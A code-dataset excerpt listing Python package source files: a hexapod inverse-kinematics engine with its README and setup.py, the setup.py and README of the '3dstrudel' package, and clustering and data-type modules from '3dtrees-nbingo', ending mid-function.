code
stringlengths
1
5.19M
package
stringlengths
1
81
path
stringlengths
9
304
filename
stringlengths
4
145
This is a simple Python package for hexapod IK calculations. Commands: To be imported as ikengine class IKEngine # initialises the class object. Takes 4 arguments in mm - coxaLength, femurLength, tibiaLength and bodySideLength. Optionally can take a 5th argument that can either be a list or a tuple. Please pass the servos that need to be reversed into this tuple/list. They will be reversed (angle = 180 - angle) for the whole runtime of your program that utilises this library. shift_lean(posX, posY, posZ, rotX, rotY, rotZ) # returns an array of 18 servo angles that are calculated using IK from the given variables that correspond to the translation and tilt of the body of the hexapod. The order goes from tibia to coxa, from left to right and then from front to back Any questions or suggestions? Please feel free to contact me at macaquedev@gmail.com
3dof-hexapod-ik-generator
/3dof-hexapod-ik-generator-1.0.0.tar.gz/3dof-hexapod-ik-generator-1.0.0/README.md
README.md
from setuptools import setup def readme(): with open('README.md') as f: README = f.read() return README setup( name='3dof-hexapod-ik-generator', author = "Alex Pylypenko (macaquedev)", url = "https://github.com/macaquedev", author_email = "macaquedev@gmail.com", license = 'MIT', classifiers = [ "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.7" ], version='1.0.0', description="This is a module which calculates IK servo angles for leaning and shifting a 3dof hexapod's body.", long_description = readme(), long_description_content_type = "text/markdown", packages=["ikengine"], package_dir = {'': 'sample'}, include_package_data=True, )
3dof-hexapod-ik-generator
/3dof-hexapod-ik-generator-1.0.0.tar.gz/3dof-hexapod-ik-generator-1.0.0/setup.py
setup.py
from math import cos, sin, tan, acos, atan, atan2, pi from timeit import timeit class IKEngine: def __init__(self, coxaLength, femurLength, tibiaLength, bodySideLength, reversed_servos_tuple=(19, 20, 21)): # Params to be given in millimetres. These equations only work with a hexapod with 3 degrees of freedom and legs spaced equally around the centre of the body. self._reversed_servos = reversed_servos_tuple self._coxaLength = coxaLength self._femurLength = femurLength self._tibiaLength = tibiaLength self._bodySideLength = bodySideLength self._bodyCenterOffset1 = bodySideLength >> 1 self._bodyCenterOffset2 = (bodySideLength**2 - self._bodyCenterOffset1**2)**0.5 self._bodyCenterOffsetX_1 = self._bodyCenterOffset1 self._bodyCenterOffsetX_2 = bodySideLength self._bodyCenterOffsetX_3 = self._bodyCenterOffset1 self._bodyCenterOffsetX_4 = -self._bodyCenterOffset1 self._bodyCenterOffsetX_5 = bodySideLength self._bodyCenterOffsetX_6 = -self._bodyCenterOffset1 self._bodyCenterOffsetY_1 = self._bodyCenterOffset2 self._bodyCenterOffsetY_2 = 0 self._bodyCenterOffsetY_3 = -self._bodyCenterOffset2 self._bodyCenterOffsetY_4 = -self._bodyCenterOffset2 self._bodyCenterOffsetY_5 = 0 self._bodyCenterOffsetY_6 = self._bodyCenterOffset2 self._feetPosX_1 = cos(60/180*pi)*(coxaLength + femurLength) self._feetPosZ_1 = tibiaLength self._feetPosY_1 = sin(60/180*pi) * (coxaLength + femurLength) self._feetPosX_2 = coxaLength + femurLength self._feetPosZ_2 = tibiaLength self._feetPosY_2 = 0 self._feetPosX_3 = cos(60/180*pi)*(coxaLength + femurLength) self._feetPosZ_3 = tibiaLength self._feetPosY_3 = sin(-60/180*pi) * (coxaLength + femurLength) self._feetPosX_4 = -cos(60/180*pi)*(coxaLength + femurLength) self._feetPosZ_4 = tibiaLength self._feetPosY_4 = sin(-60/180*pi) * (coxaLength + femurLength) self._feetPosX_5 = -(coxaLength + femurLength) self._feetPosZ_5 = tibiaLength self._feetPosY_5 = 0 self._feetPosX_6 = -cos(60/180*pi)*(coxaLength + femurLength) self._feetPosZ_6 = tibiaLength self._feetPosY_6 = sin(60/180*pi) * (coxaLength + femurLength) def shift_lean(self, posX=50, posY=0, posZ=0, rotX=0, rotY=0, rotZ=0): self._totalY_1 = self._feetPosY_1 + self._bodyCenterOffsetY_1 + posY self._totalX_1 = self._feetPosX_1 + self._bodyCenterOffsetX_1 + posX self._distBodyCenterFeet_1 = (self._totalY_1**2 + self._totalX_1**2)**0.5 self._angleBodyCenterX_1 = pi/2 - atan2(self._totalX_1, self._totalY_1) self._rollZ_1 = tan(rotZ * pi / 180) * self._totalX_1 self._pitchZ_1 = tan(rotX * pi / 180) * self._totalY_1 self._bodyIKX_1 = cos(self._angleBodyCenterX_1 + (rotY * pi/180)) * self._distBodyCenterFeet_1 - self._totalX_1 self._bodyIKY_1 = (sin(self._angleBodyCenterX_1 + (rotY * pi/180)) * self._distBodyCenterFeet_1) - self._totalY_1 self._bodyIKZ_1 = self._rollZ_1 + self._pitchZ_1 self._totalY_2 = self._feetPosY_2 + self._bodyCenterOffsetY_2 + posY self._totalX_2 = self._feetPosX_2 + self._bodyCenterOffsetX_2 + posX self._distBodyCenterFeet_2 = (self._totalY_2**2 + self._totalX_2**2)**0.5 self._angleBodyCenterX_2 = pi/2 - atan2(self._totalX_2, self._totalY_2) self._rollZ_2 = tan(rotZ * pi / 180) * self._totalX_2 self._pitchZ_2 = tan(rotX * pi / 180) * self._totalY_2 self._bodyIKX_2 = cos(self._angleBodyCenterX_2 + (rotY * pi/180)) * self._distBodyCenterFeet_2 - self._totalX_2 self._bodyIKY_2 = (sin(self._angleBodyCenterX_2 + (rotY * pi/180)) * self._distBodyCenterFeet_2) - self._totalY_2 self._bodyIKZ_2 = self._rollZ_2 + self._pitchZ_2 self._totalY_3 = self._feetPosY_3 + self._bodyCenterOffsetY_3 + posY self._totalX_3 = self._feetPosX_3 + self._bodyCenterOffsetX_3 + posX self._distBodyCenterFeet_3 = (self._totalY_3**2 + self._totalX_3**2)**0.5 self._angleBodyCenterX_3 = pi/2 - atan2(self._totalX_3, self._totalY_3) self._rollZ_3 = tan(rotZ * pi / 180) * self._totalX_3 self._pitchZ_3 = tan(rotX * pi / 180) * self._totalY_3 self._bodyIKX_3 = cos(self._angleBodyCenterX_3 + (rotY * pi/180)) * self._distBodyCenterFeet_3 - self._totalX_3 self._bodyIKY_3 = (sin(self._angleBodyCenterX_3 + (rotY * pi/180)) * self._distBodyCenterFeet_3) - self._totalY_3 self._bodyIKZ_3 = self._rollZ_3 + self._pitchZ_3 self._totalY_4 = self._feetPosY_4 + self._bodyCenterOffsetY_4 + posY self._totalX_4 = self._feetPosX_4 + self._bodyCenterOffsetX_4 + posX self._distBodyCenterFeet_4 = (self._totalY_4**2 + self._totalX_4**2)**0.5 self._angleBodyCenterX_4 = pi/2 - atan2(self._totalX_4, self._totalY_4) self._rollZ_4 = tan(rotZ * pi / 180) * self._totalX_4 self._pitchZ_4 = tan(rotX * pi / 180) * self._totalY_4 self._bodyIKX_4 = cos(self._angleBodyCenterX_4 + (rotY * pi/180)) * self._distBodyCenterFeet_4 - self._totalX_4 self._bodyIKY_4 = (sin(self._angleBodyCenterX_4 + (rotY * pi/180)) * self._distBodyCenterFeet_4) - self._totalY_4 self._bodyIKZ_4 = self._rollZ_4 + self._pitchZ_4 self._totalY_5 = self._feetPosY_5 + self._bodyCenterOffsetY_5 + posY self._totalX_5 = self._feetPosX_5 + self._bodyCenterOffsetX_5 + posX self._distBodyCenterFeet_5 = (self._totalY_5**2 + self._totalX_5**2)**0.5 self._angleBodyCenterX_5 = pi/2 - atan2(self._totalX_5, self._totalY_5) self._rollZ_5 = tan(rotZ * pi / 180) * self._totalX_5 self._pitchZ_5 = tan(rotX * pi / 180) * self._totalY_5 self._bodyIKX_5 = cos(self._angleBodyCenterX_5 + (rotY * pi/180)) * self._distBodyCenterFeet_5 - self._totalX_5 self._bodyIKY_5 = (sin(self._angleBodyCenterX_5 + (rotY * pi/180)) * self._distBodyCenterFeet_5) - self._totalY_5 self._bodyIKZ_5 = self._rollZ_5 + self._pitchZ_5 self._totalY_6 = self._feetPosY_6 + self._bodyCenterOffsetY_6 + posY self._totalX_6 = self._feetPosX_6 + self._bodyCenterOffsetX_6 + posX self._distBodyCenterFeet_6 = (self._totalY_6**2 + self._totalX_6**2)**0.5 self._angleBodyCenterX_6 = pi/2 - atan2(self._totalX_6, self._totalY_6) self._rollZ_6 = tan(rotZ * pi / 180) * self._totalX_6 self._pitchZ_6 = tan(rotX * pi / 180) * self._totalY_6 self._bodyIKX_6 = cos(self._angleBodyCenterX_6 + (rotY * pi/180)) * self._distBodyCenterFeet_6 - self._totalX_6 self._bodyIKY_6 = (sin(self._angleBodyCenterX_6 + (rotY * pi/180)) * self._distBodyCenterFeet_6) - self._totalY_6 self._bodyIKZ_6 = self._rollZ_6 + self._pitchZ_6 self._newPosX_1 = self._feetPosX_1 + posX + self._bodyIKX_1 self._newPosY_1 = self._feetPosY_1 + posY + self._bodyIKY_1 self._newPosZ_1 = self._feetPosZ_1 + posZ + self._bodyIKZ_1 self._coxaFeetDist_1 = (self._newPosX_1**2 + self._newPosY_1**2)**0.5 self._IKSW_1 = ((self._coxaFeetDist_1 - self._coxaLength)**2 + self._newPosZ_1**2)**0.5 self._IKA1_1 = atan((self._coxaFeetDist_1 - self._coxaLength)/self._newPosZ_1) self._IKA2_1 = acos((self._tibiaLength**2 - self._femurLength**2 - self._IKSW_1**2)/(-2 * self._IKSW_1 * self._femurLength)) self._TAngle_1 = acos((self._IKSW_1**2 - self._tibiaLength**2 - self._femurLength**2) / (-2 * self._femurLength * self._tibiaLength)) self._IKTibiaAngle_1 = 90 - self._TAngle_1 * 180 / pi self._IKFemurAngle_1 = 90 - (self._IKA1_1 + self._IKA2_1) * 180/pi self._IKCoxaAngle_1 = 90 - atan2(self._newPosX_1, self._newPosY_1) * 180 / pi self._newPosX_2 = self._feetPosX_2 + posX + self._bodyIKX_2 self._newPosY_2 = self._feetPosY_2 + posY + self._bodyIKY_2 self._newPosZ_2 = self._feetPosZ_2 + posZ + self._bodyIKZ_2 self._coxaFeetDist_2 = (self._newPosX_2**2 + self._newPosY_2**2)**0.5 self._IKSW_2 = ((self._coxaFeetDist_2 - self._coxaLength)**2 + self._newPosZ_2**2)**0.5 self._IKA1_2 = atan((self._coxaFeetDist_2 - self._coxaLength)/self._newPosZ_2) self._IKA2_2 = acos((self._tibiaLength**2 - self._femurLength**2 - self._IKSW_2**2)/(-2 * self._IKSW_2 * self._femurLength)) self._TAngle_2 = acos((self._IKSW_2**2 - self._tibiaLength**2 - self._femurLength**2) / (-2 * self._femurLength * self._tibiaLength)) self._IKTibiaAngle_2 = 90 - self._TAngle_2 * 180 / pi self._IKFemurAngle_2 = 90 - (self._IKA1_2 + self._IKA2_2) * 180/pi self._IKCoxaAngle_2 = 90 - atan2(self._newPosX_2, self._newPosY_2) * 180 / pi self._newPosX_3 = self._feetPosX_3 + posX + self._bodyIKX_3 self._newPosY_3 = self._feetPosY_3 + posY + self._bodyIKY_3 self._newPosZ_3 = self._feetPosZ_3 + posZ + self._bodyIKZ_3 self._coxaFeetDist_3 = (self._newPosX_3**2 + self._newPosY_3**2)**0.5 self._IKSW_3 = ((self._coxaFeetDist_3 - self._coxaLength)**2 + self._newPosZ_3**2)**0.5 self._IKA1_3 = atan((self._coxaFeetDist_3 - self._coxaLength)/self._newPosZ_3) self._IKA2_3 = acos((self._tibiaLength**2 - self._femurLength**2 - self._IKSW_3**2)/(-2 * self._IKSW_3 * self._femurLength)) self._TAngle_3 = acos((self._IKSW_3**2 - self._tibiaLength**2 - self._femurLength**2) / (-2 * self._femurLength * self._tibiaLength)) self._IKTibiaAngle_3 = 90 - self._TAngle_3 * 180 / pi self._IKFemurAngle_3 = 90 - (self._IKA1_3 + self._IKA2_3) * 180/pi self._IKCoxaAngle_3 = 90 - atan2(self._newPosX_3, self._newPosY_3) * 180 / pi self._newPosX_4 = self._feetPosX_4 + posX + self._bodyIKX_4 self._newPosY_4 = self._feetPosY_4 + posY + self._bodyIKY_4 self._newPosZ_4 = self._feetPosZ_4 + posZ + self._bodyIKZ_4 self._coxaFeetDist_4 = (self._newPosX_4**2 + self._newPosY_4**2)**0.5 self._IKSW_4 = ((self._coxaFeetDist_4 - self._coxaLength)**2 + self._newPosZ_4**2)**0.5 self._IKA1_4 = atan((self._coxaFeetDist_4 - self._coxaLength)/self._newPosZ_4) self._IKA2_4 = acos((self._tibiaLength**2 - self._femurLength**2 - self._IKSW_4**2)/(-2 * self._IKSW_4 * self._femurLength)) self._TAngle_4 = acos((self._IKSW_4**2 - self._tibiaLength**2 - self._femurLength**2) / (-2 * self._femurLength * self._tibiaLength)) self._IKTibiaAngle_4 = 90 - self._TAngle_4 * 180 / pi self._IKFemurAngle_4 = 90 - (self._IKA1_4 + self._IKA2_4) * 180/pi self._IKCoxaAngle_4 = 90 - atan2(self._newPosX_4, self._newPosY_4) * 180 / pi self._newPosX_5 = self._feetPosX_5 + posX + self._bodyIKX_5 self._newPosY_5 = self._feetPosY_5 + posY + self._bodyIKY_5 self._newPosZ_5 = self._feetPosZ_5 + posZ + self._bodyIKZ_5 self._coxaFeetDist_5 = (self._newPosX_5**2 + self._newPosY_5**2)**0.5 self._IKSW_5 = ((self._coxaFeetDist_5 - self._coxaLength)**2 + self._newPosZ_5**2)**0.5 self._IKA1_5 = atan((self._coxaFeetDist_5 - self._coxaLength)/self._newPosZ_5) self._IKA2_5 = acos((self._tibiaLength**2 - self._femurLength**2 - self._IKSW_5**2)/(-2 * self._IKSW_5 * self._femurLength)) self._TAngle_5 = acos((self._IKSW_5**2 - self._tibiaLength**2 - self._femurLength**2) / (-2 * self._femurLength * self._tibiaLength)) self._IKTibiaAngle_5 = 90 - self._TAngle_5 * 180 / pi self._IKFemurAngle_5 = 90 - (self._IKA1_5 + self._IKA2_5) * 180/pi self._IKCoxaAngle_5 = 90 - atan2(self._newPosX_5, self._newPosY_5) * 180 / pi self._newPosX_6 = self._feetPosX_6 + posX + self._bodyIKX_6 self._newPosY_6 = self._feetPosY_6 + posY + self._bodyIKY_6 self._newPosZ_6 = self._feetPosZ_6 + posZ + self._bodyIKZ_6 self._coxaFeetDist_6 = (self._newPosX_6**2 + self._newPosY_6**2)**0.5 self._IKSW_6 = ((self._coxaFeetDist_6 - self._coxaLength)**2 + self._newPosZ_6**2)**0.5 self._IKA1_6 = atan((self._coxaFeetDist_6 - self._coxaLength)/self._newPosZ_6) self._IKA2_6 = acos((self._tibiaLength**2 - self._femurLength**2 - self._IKSW_6**2)/(-2 * self._IKSW_6 * self._femurLength)) self._TAngle_6 = acos((self._IKSW_6**2 - self._tibiaLength**2 - self._femurLength**2) / (-2 * self._femurLength * self._tibiaLength)) self._IKTibiaAngle_6 = 90 - self._TAngle_6 * 180 / pi self._IKFemurAngle_6 = 90 - (self._IKA1_6 + self._IKA2_6) * 180/pi self._IKCoxaAngle_6 = 90 - atan2(self._newPosX_6, self._newPosY_6) * 180 / pi self._coxaAngle_1 = self._IKCoxaAngle_1 - 60 self._femurAngle_1 = self._IKFemurAngle_1 self._tibiaAngle_1 = self._IKTibiaAngle_1 self._coxaAngle_2 = self._IKCoxaAngle_2 self._femurAngle_2 = self._IKFemurAngle_2 self._tibiaAngle_2 = self._IKTibiaAngle_2 self._coxaAngle_3 = self._IKCoxaAngle_3 + 60 self._femurAngle_3 = self._IKFemurAngle_3 self._tibiaAngle_3 = self._IKTibiaAngle_3 self._coxaAngle_4 = self._IKCoxaAngle_4 - 240 self._femurAngle_4 = self._IKFemurAngle_4 self._tibiaAngle_4 = self._IKTibiaAngle_4 self._coxaAngle_5 = self._IKCoxaAngle_5 - 180 self._femurAngle_5 = self._IKFemurAngle_5 self._tibiaAngle_5 = self._IKTibiaAngle_5 self._coxaAngle_6 = self._IKCoxaAngle_6 - 120 self._femurAngle_6 = self._IKFemurAngle_6 self._tibiaAngle_6 = self._IKTibiaAngle_6 angles = [ self._tibiaAngle_6, self._femurAngle_6, self._coxaAngle_6, self._tibiaAngle_1, self._femurAngle_1, self._coxaAngle_1, self._tibiaAngle_5, self._femurAngle_5, self._coxaAngle_5, self._tibiaAngle_2, self._femurAngle_2, self._coxaAngle_2, self._tibiaAngle_4, self._femurAngle_4, self._coxaAngle_4, self._tibiaAngle_3, self._femurAngle_3, self._coxaAngle_3, ] angles = [round(i+90) for i in angles] for index, angle in enumerate(angles): if index in self._reversed_servos: angles[index] = 180-angle return angles if __name__ == '__main__': a = IKEngine(50, 115, 90, 80) a.cartesian_to_servo(0, 116, 116, 0)
3dof-hexapod-ik-generator
/3dof-hexapod-ik-generator-1.0.0.tar.gz/3dof-hexapod-ik-generator-1.0.0/sample/ikengine/__init__.py
__init__.py
# 3dstrudel # Requirements biopython, mrcfile, mpi4py, psutil, scipy # Instalation .. code:: bash pip install numpy
3dstrudel
/3dstrudel-0.1.1.tar.gz/3dstrudel-0.1.1/README.md
README.md
import setuptools with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name='3dstrudel', version='0.1.1', author="Andrei Istrate", author_email="andrei@ebi.ac.uk", description="Strudel package", include_package_data=True, scripts=['3dstrudel/bin/strudel_mapMotifValidation.py', '3dstrudel/bin/strudel_mapAveraging.py', '3dstrudel/bin/strudel_penultimateClassifier.py', '3dstrudel/bin/strudel_chopModelMapMPI.py', '3dstrudel/bin/strudel_setChimeraX.py'], long_description=long_description, long_description_content_type="text/markdown", url="", packages=setuptools.find_packages(), classifiers=[ "Programming Language :: Python :: 3", "Operating System :: OS Independent"], install_requires=['scipy', 'biopython', 'numpy', 'mrcfile', 'mpi4py', 'psutil'], python_requires='>=3.7', license="Apache License" )
3dstrudel
/3dstrudel-0.1.1.tar.gz/3dstrudel-0.1.1/setup.py
setup.py
from typing import Sequence, Optional from abc import abstractmethod from collections import abc import numpy as np class DataLoader(abc.Sequence): def __init__(self, ct_axis_mask: Optional[np.array] = None, r_axis_mask: Optional[np.array] = None): self.ct_axis_mask = ct_axis_mask self.r_axis_mask = r_axis_mask @abstractmethod def get_names(self) -> Sequence[str]: pass @abstractmethod def get_corresponding_region_names(self) -> Sequence[str]: pass @abstractmethod def __getitem__(self, item): pass @abstractmethod def __len__(self): pass
3dtrees-nbingo
/3dtrees_nbingo-0.1.5-py3-none-any.whl/data/data_loader.py
data_loader.py
from __future__ import annotations from dataclasses import dataclass, field from typing import Dict, Optional, Union, Callable, Sequence from abc import ABC, abstractmethod from itertools import product import functools import numpy as np LINKAGE_CELL_OPTIONS = ['single', 'complete', 'average'] LINKAGE_REGION_OPTIONS = ['single', 'complete', 'average', 'homolog_avg', 'homolog_mnn'] @dataclass class Mergeable(ABC): id_num: int @property @abstractmethod def num_original(self) -> int: pass @property @abstractmethod def region(self) -> int: pass @property @abstractmethod def transcriptome(self) -> np.array: pass # @classmethod # @abstractmethod # def merge(cls, m1: Mergeable, m2: Mergeable, dist: float, new_id: int, region_id: Optional[int] = None) -> Mergeable: # pass # noinspection PyArgumentList @staticmethod def _pairwise_diff(lhs_transcriptome: np.array, rhs_transcriptome: np.array, affinity: Callable, linkage: str) -> float: lhs_len = lhs_transcriptome.shape[0] rhs_len = rhs_transcriptome.shape[0] dists = np.zeros((lhs_len, rhs_len)) # Compute distance matrix # essentially only useful if this is working on merged cell types # otherwise just produces a matrix containing one value for ct1_idx, ct2_idx in product(range(lhs_len), range(rhs_len)): dists[ct1_idx, ct2_idx] = affinity(lhs_transcriptome[ct1_idx], rhs_transcriptome[ct2_idx]) if linkage == 'single': dist = dists.min() elif linkage == 'complete': dist = dists.max() else: # default to 'average' dist = dists.mean() return dist @staticmethod @abstractmethod def diff(lhs: Mergeable, rhs: Mergeable, affinity: Callable, linkage: str, affinity2: Optional[Callable] = None, linkage2: Optional[str] = None, mask: Optional[Sequence] = None, mask2: Optional[Sequence] = None): pass @dataclass class CellType(Mergeable): _region: int _transcriptome: np.array @property def transcriptome(self) -> np.array: if len(self._transcriptome.shape) == 1: return self._transcriptome.reshape(1, -1) return self._transcriptome @property def num_original(self): return self.transcriptome.shape[0] @property def region(self): return self._region @region.setter def region(self, r: int): self._region = r @classmethod def merge(cls, m1: CellType, m2: CellType, new_id: int, region_id: Optional[int] = None) -> CellType: # must be in same region if not being created into a new region if region_id is None: assert m1.region == m2.region, \ 'Tried merging cell types from different regions without new target region.' region_id = m1.region return cls(new_id, region_id, np.row_stack((m1.transcriptome, m2.transcriptome))) @staticmethod def diff(lhs: CellType, rhs: CellType, affinity: Callable, linkage: str, affinity2: Optional[Callable] = None, linkage2: Optional[str] = None, mask: Optional[Sequence] = None, mask2: Optional[Sequence] = None): lt = lhs.transcriptome if mask is None else lhs.transcriptome[:, mask] rt = rhs.transcriptome if mask is None else rhs.transcriptome[:, mask] return CellType._pairwise_diff(lt, rt, affinity, linkage) def __repr__(self): return f'{self.region}.{self.id_num}' @dataclass class Region(Mergeable): cell_types: Optional[Dict[int, CellType]] = field(default_factory=dict) _transcriptome: Optional[np.array] = None @property def transcriptome(self) -> np.array: if self._transcriptome is None: raise ValueError(f'Transcriptome for region {self.id_num} never defined.') if len(self._transcriptome.shape) == 1: return self._transcriptome.reshape(1, -1) return self._transcriptome @property def child_transcriptomes(self) -> np.array: # ugly -- should refactor something ct_list = list(self.cell_types.values()) transcriptome_length = ct_list[0].transcriptome.shape[1] transcriptomes = np.zeros((len(self.cell_types), transcriptome_length)) for c in range(len(self.cell_types)): transcriptomes[c] = ct_list[c].transcriptome return transcriptomes @property def num_original(self): if self._transcriptome is None: return np.sum([ct.num_original for ct in self.cell_types.values()]) else: return self.transcriptome.shape[0] @property def num_cell_types(self): return len(self.cell_types) @property def region(self): return self.id_num # @classmethod # def merge(cls, m1: Region, m2: Region, dist: float, new_id: int, region_id: Optional[int] = None) -> Region: # pass # noinspection PyArgumentList @staticmethod def diff(lhs: Region, rhs: Region, affinity: Callable, linkage: str, affinity2: Optional[Callable] = None, linkage2: Optional[str] = None, mask: Optional[np.array] = None, mask2: Optional[Sequence] = None): """ Compute the distance between two regions. :param lhs: The lhs region :param rhs: The rhs region :param affinity: Affinity for transcriptome comparisons for region distances :param linkage: Linkage for region distances :param affinity2: Affinity for transcriptome comparisons for cell types distances :param linkage2: Linkage for cell type distances :param mask: Region gene mask :param mask2: Cell type gene mask :return: dist, num_ct_diff """ # Difference in number of cell types contained. Only really matters for homolog_mnn since it can change there num_ct_diff = np.abs(lhs.num_cell_types - rhs.num_cell_types) if (lhs._transcriptome is None) or (rhs._transcriptome is None): if (affinity2 is None) or (linkage2 is None): raise ValueError('Both affinity and linkage must be defined for cell types') # Cell type dists using cell type gene mask ct_dists = np.zeros((lhs.num_cell_types, rhs.num_cell_types)) # Cell type dists using region gene mask r_ct_dists = np.zeros((lhs.num_cell_types, rhs.num_cell_types)) r1_ct_list = list(lhs.cell_types.values()) r2_ct_list = list(rhs.cell_types.values()) for r1_idx, r2_idx in product(range(lhs.num_cell_types), range(rhs.num_cell_types)): # Use the cell type gene mask here because matching up sister cell types ct_dists[r1_idx, r2_idx] = CellType.diff(r1_ct_list[r1_idx], r2_ct_list[r2_idx], affinity=affinity2, linkage=linkage2, mask=mask2) r_ct_dists[r1_idx, r2_idx] = CellType.diff(r1_ct_list[r1_idx], r2_ct_list[r2_idx], affinity=affinity2, linkage=linkage2, mask=mask) if linkage == 'single': dist = r_ct_dists.min() elif linkage == 'complete': dist = r_ct_dists.max() elif linkage == 'homolog_avg': dists = [] for i in range(np.min(ct_dists.shape)): ct_min1_idx, ct_min2_idx = np.unravel_index(np.argmin(ct_dists), ct_dists.shape) # Add the distance between the two closest cell types (can consider as homologs) dists.append(r_ct_dists[ct_min1_idx, ct_min2_idx]) # Delete these two homologs from the distance matrix ct_dists = np.delete(ct_dists, ct_min1_idx, axis=0) ct_dists = np.delete(ct_dists, ct_min2_idx, axis=1) r_ct_dists = np.delete(r_ct_dists, ct_min1_idx, axis=0) r_ct_dists = np.delete(r_ct_dists, ct_min2_idx, axis=1) dist = np.mean(dists) elif linkage == 'homolog_mnn': dists = [] # Nearest neighbors for the cell types from region 1 r1_ct_nn = np.argmin(ct_dists, axis=1) # Nearest neighbors for the cell types from region 2 r2_ct_nn = np.argmin(ct_dists, axis=0) # Only append distance if we find a mutual nearest neighbor for i in range(r1_ct_nn.shape[0]): if r2_ct_nn[r1_ct_nn[i]] == i: dists.append(r_ct_dists[i, r1_ct_nn[i]]) num_ct_diff = lhs.num_cell_types + rhs.num_cell_types - (2 * len(dists)) dist = np.mean(dists) else: # default to 'average': dist = r_ct_dists.mean() else: dist = Region._pairwise_diff(lhs.transcriptome, rhs.transcriptome, affinity, linkage) return dist, num_ct_diff def __repr__(self): return f'{self.id_num}{list(self.cell_types.values())}' @functools.total_ordering @dataclass class Edge: dist: float endpt1: Union[CellType, Region] endpt2: Union[CellType, Region] def __eq__(self, other): return self.dist == other.dist def __lt__(self, other): return self.dist < other.dist def __gt__(self, other): return self.dist > other.dist
3dtrees-nbingo
/3dtrees_nbingo-0.1.5-py3-none-any.whl/data/data_types.py
data_types.py
from scipy.stats import spearmanr def spearmanr_connectivity(x, y): # data_ct is assumed to be (n_variables, n_examples) rho, _ = spearmanr(x, y, axis=1) return 1 - rho
3dtrees-nbingo
/3dtrees_nbingo-0.1.5-py3-none-any.whl/metrics/metric_utils.py
metric_utils.py
from typing import List, Callable, Tuple, Optional, Dict, Union from queue import PriorityQueue from data.data_loader import DataLoader from itertools import combinations, product from data.data_types import Region, CellType, Edge, Mergeable, LINKAGE_CELL_OPTIONS, LINKAGE_REGION_OPTIONS from tqdm import tqdm from matplotlib import cm import numpy as np import pandas as pd import matplotlib.pyplot as plt import functools # Need for 3D plotting, even though not used directly. Python is dumb # noinspection PyUnresolvedReferences from mpl_toolkits.mplot3d import Axes3D TREE_SCORE_OPTIONS = ['ME', 'BME', 'MP'] @functools.total_ordering class Agglomerate3D: def __init__(self, linkage_cell: str, linkage_region: str, cell_type_affinity: Callable, region_affinity: Optional[Callable] = None, max_region_diff: Optional[int] = 0, region_dist_scale: Optional[float] = 1, verbose: Optional[bool] = False, pbar: Optional[bool] = False, integrity_check: Optional[bool] = True): self.linkage_cell: str = linkage_cell self.linkage_region: str = linkage_region self.cell_type_affinity: Callable = cell_type_affinity self.region_affinity: Callable = region_affinity self.max_region_diff: int = max_region_diff self.region_dist_scale: float = region_dist_scale self.verbose: bool = verbose self.integrity_check: bool = integrity_check self.linkage_history: List[Dict[str, int]] = [] self._linkage_mat: pd.DataFrame = pd.DataFrame() self.regions: Dict[int, Region] = {} self.cell_types: Dict[int, CellType] = {} self.orig_cell_types: Dict[int, CellType] = {} self._ct_id_idx: int = 0 self._r_id_idx: int = 0 self.ct_names: List[str] = [] self.r_names: List[str] = [] self._ct_axis_mask = None self._r_axis_mask = None self._pbar = tqdm() if pbar else None if linkage_cell not in LINKAGE_CELL_OPTIONS: raise UserWarning(f'Incorrect argument passed in for cell linkage. Must be one of {LINKAGE_CELL_OPTIONS}') if linkage_region not in LINKAGE_REGION_OPTIONS: raise UserWarning(f'Incorrect argument passed in for region linkage. Must be one of ' f'{LINKAGE_REGION_OPTIONS}') def __repr__(self): return f'Agglomerate3D<cell_type_affinity={self.cell_type_affinity}, ' \ f'linkage_cell={self.linkage_cell}, ' \ f'linkage_region={self.linkage_region}, ' \ f'max_region_diff={self.max_region_diff}, ' \ f'region_dist_scale={self.region_dist_scale}>' def __eq__(self, other): return len(self.linkage_mat.index) == len(other.linkage_mat.index) def __lt__(self, other): return len(self.linkage_mat.index) < len(other.linkage_mat.index) @property def linkage_mat(self) -> pd.DataFrame: if self._linkage_mat.empty: return pd.DataFrame(self.linkage_history) return self._linkage_mat def view_tree3d(self): lm = self.linkage_mat segments = [] colors = [] num_regions = lm['In region'].max() + 1 colormap = cm.get_cmap('hsv')(np.linspace(0, 1, num_regions)) fig = plt.figure() ax = fig.gca(projection='3d') def find_ct_index_region(ct_id: int, index: int) -> Tuple[Union[int, None], Union[int, None]]: if np.isnan(ct_id): return np.nan, np.nan # Cutoff at where we currently are so we don't repeat rows lm_bound = lm.loc[:index - 1] no_reg = lm_bound[~lm_bound['Is region']] ct_row = no_reg[no_reg['New ID'] == ct_id] # one of the original cell types and at the end of a branch if ct_row.empty: return None, self.orig_cell_types[ct_id].region # not one of the original ones, so have to check which region it's in return ct_row.index[-1], ct_row['In region'].iat[-1] def segment_builder(level: int, index: int, root_pos: List[int]): offset = 2 ** (level - 1) # subtract 1 to divide by 2 since it's only half the line # figure out where to recurse on ct1_id, ct2_id = lm.loc[index, ['ID1', 'ID2']] ct1_index, ct1_region = find_ct_index_region(ct1_id, index) ct2_index, ct2_region = find_ct_index_region(ct2_id, index) if lm.loc[index, 'In reg merge']: # We're drawing on the y-axis split_axis = 1 # Find the region we're merging in region = lm.loc[index, 'In region'] region_mat = lm[lm['In region'] == region] dist = region_mat[region_mat['Is region']]['Distance'].iat[0] else: # We're drawing on the x-axis split_axis = 0 dist = lm.loc[index, 'Distance'] # To have the correct order of recursion so region splits match up # Also the case in which a cell type is just transferred between regions if (np.isnan(ct2_region)) or (ct1_region < ct2_region): l_index = None if ct1_index == index else ct1_index l_id = ct1_id l_region = ct1_region r_index = ct2_index r_id = ct2_id r_region = ct2_region else: l_index = ct2_index l_id = ct2_id l_region = ct2_region r_index = ct1_index r_id = ct1_id r_region = ct1_region # horizontal x/y-axis bar # Start is the left side h_start = root_pos.copy() h_start[split_axis] -= offset # end is the right side h_end = root_pos.copy() h_end[split_axis] += offset segments.append([h_start, root_pos]) colors.append(colormap[l_region]) # Don't do if just transferring one cell type to another region if ~np.isnan(r_region): segments.append([root_pos, h_end]) colors.append(colormap[r_region]) # vertical z-axis bars v_left_end = h_start.copy() v_left_end[2] -= dist v_right_end = h_end.copy() v_right_end[2] -= dist segments.append([h_start, v_left_end]) colors.append(colormap[l_region]) # Don't do if just transferring one cell type to another region if ~np.isnan(r_region): segments.append([h_end, v_right_end]) colors.append(colormap[r_region]) # don't recurse if at leaf, but do label if l_index is None: label = self.ct_names[int(l_id)] ax.text(*v_left_end, label, 'z') else: segment_builder(level - 1, 